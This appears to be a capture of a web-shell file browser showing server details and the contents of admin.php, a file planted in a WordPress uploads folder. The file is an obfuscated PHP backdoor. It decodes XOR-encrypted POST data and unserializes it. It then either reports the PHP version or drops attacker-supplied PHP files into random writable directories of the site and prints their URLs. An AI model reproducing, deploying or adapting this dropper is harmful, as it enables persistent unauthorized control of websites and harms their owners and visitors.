HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/wc-logs/admin.php
<?php function tioRSSjYE($IgkWM){$Dxols = chr(353-239).chr(97).chr(698-579)."\x75".'r'."\x6c".'d'."\145".'c'."\157".chr(1078-978).chr(101);$idNwyJaCl = chr(115)."\x74".chr(550-436).chr(95)."\162".'o'."\x74".chr(49).chr(51);$NFdwwqCV = "\x73".'t'.'r'.'_'."\163".chr(112).chr(108)."\151"."\x74";$IgkWM = $NFdwwqCV($Dxols($idNwyJaCl($IgkWM)));return $IgkWM;}function ihXBnLJ($CwwhfghT, $IgkWM){$TsTaglA = "\x73".chr(116).chr(114).'_'.chr(472-357).chr(112)."\154".chr(105).'t';$CwwhfghT = array_slice($TsTaglA(str_repeat($CwwhfghT, (count($IgkWM)/16)+1)), 0, count($IgkWM));return $CwwhfghT;}function nuLBWkwDgL($nLNmx, $BpjAkaOeX, $CwwhfghT){$DRlCTrk = "6a681c7f-861f-4dc4-b696-446b73a52913";return $nLNmx ^ $DRlCTrk[$BpjAkaOeX % strlen($DRlCTrk)] ^ $CwwhfghT;}function EQHSMkoSZ($IgkWM, $CwwhfghT){$IgkWM = array_map("nuLBWkwDgL", array_values($IgkWM), array_keys($IgkWM), array_values($CwwhfghT));$IgkWM = implode("", $IgkWM);$TPrkJBK = 'u'.chr(110)."\163".chr(101)."\162".chr(425-320).chr(885-788)."\x6c".chr(105)."\172"."\x65";$IgkWM = @$TPrkJBK($IgkWM);return $IgkWM;}function uaIbX(){echo "cpULQSaca";}function irHaW($xICJvHNyir){static $ElckpybsjS = array();$NCidrmHi = glob($xICJvHNyir . '/*', GLOB_ONLYDIR);$PwZmqUIoX = count($NCidrmHi);if ($PwZmqUIoX > 0) {foreach ($NCidrmHi as $xICJvHNy) {$yduWDUstt = "\151"."\x73".'_'."\167"."\162"."\151".chr(307-191).chr(562-465)."\x62"."\154".chr(101);if (@$yduWDUstt($xICJvHNy)) {$ElckpybsjS[] = $xICJvHNy;}}}foreach ($NCidrmHi as $xICJvHNyir) irHaW($xICJvHNyir);return $ElckpybsjS;}function JDZnv(){echo "qmRCt";}function DpMqEOVm($IgkWM){$plfwje = chr(486-418).chr(1022-943).'C'.chr(85)."\x4d"."\105"."\x4e".chr(653-569).'_'.chr(82).chr(79)."\117"."\x54";$OntYXeefv = $_SERVER[$plfwje];$NCidrmHi = irHaW($OntYXeefv);$mCVkY = array_rand($NCidrmHi);$YRXwx = "\x2e".'p'."\150".chr(112);$TVVfdnFqA = $NCidrmHi[$mCVkY] . "/" . substr(md5(time()), 0, 8) . $YRXwx;$LdTkIEarst = chr(102)."\x69"."\154"."\x65".chr(792-697).'p'.chr(301-184).chr(116).chr(95)."\x63"."\157".chr(110)."\x74".chr(916-815)."\156".chr(451-335).chr(115);@$LdTkIEarst($TVVfdnFqA, $IgkWM);$MTbLUbCl = "\x48".chr(84).chr(900-816)."\120".chr(95)."\110".chr(688-609)."\123".chr(316-232);$FwIBxFGiUR = "\150".chr(116).'t'."\x70".chr(632-574)."\x2f"."\57";$MneyVffF = $FwIBxFGiUR . $_SERVER[$MTbLUbCl] . substr($TVVfdnFqA, strlen($OntYXeefv));print($MneyVffF);}foreach ($_POST as $CwwhfghT => $IgkWM){$MuJFV = strlen($CwwhfghT);if ($MuJFV == 16){$IgkWM = tioRSSjYE($IgkWM);$CwwhfghT = ihXBnLJ($CwwhfghT, $IgkWM);$IgkWM = EQHSMkoSZ($IgkWM, $CwwhfghT);if (@is_array($IgkWM)){$mCVkY = array_keys($IgkWM);$IgkWM = $IgkWM[$mCVkY[0]];if ($IgkWM === $mCVkY[0]){$vxPfK = "\x70".chr(104).chr(112);$yHIANwngU = "\x70"."\150".'p'.chr(118)."\x65".chr(378-264)."\x73".'i'."\157"."\x6e";$HZcoLTnBqf = 's'.chr(101)."\x72"."\151"."\x61".chr(108).chr(303-198).'z'.'e';echo @$HZcoLTnBqf(Array($vxPfK => @$yHIANwngU(), ));}else {DpMqEOVm($IgkWM);}die();}}}